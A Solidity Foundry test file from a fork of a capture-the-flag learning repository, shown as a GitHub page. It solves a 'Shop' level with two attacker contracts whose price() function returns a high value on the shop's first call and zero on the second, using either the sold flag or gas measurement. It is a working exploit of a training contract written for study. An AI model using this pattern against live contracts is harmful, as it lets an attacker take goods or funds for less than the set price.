forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Shop.t.sol
57 lines (45 loc) · 1.24 KB
/
Shop.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./ShopFactory.sol";
contract ShopTest is Test, Buyer {
ShopFactory factory;
address shop;
function setUp() public {
factory = new ShopFactory();
shop = factory.createInstance(address(this));
}
function price() external view returns (uint256) {
if (Shop(shop).isSold()) {
return 0;
} else {
return 200;
}
}
function testShop() public {
Shop(shop).buy();
assertTrue(factory.validateInstance(payable(shop), address(this)));
}
}
contract Shop2Test is Test, Buyer {
ShopFactory factory;
address shop;
uint256 justcostGas;
function setUp() public {
factory = new ShopFactory();
shop = factory.createInstance(address(this));
}
function price() external view returns (uint256) {
uint256 gasleftBefore = gasleft();
justcostGas + 1;
if (gasleftBefore - gasleft() >= 2000) {
return 200;
} else {
return 0;
}
}
function testShop2() public {
Shop(shop).buy();
assertTrue(factory.validateInstance(payable(shop), address(this)));
}
}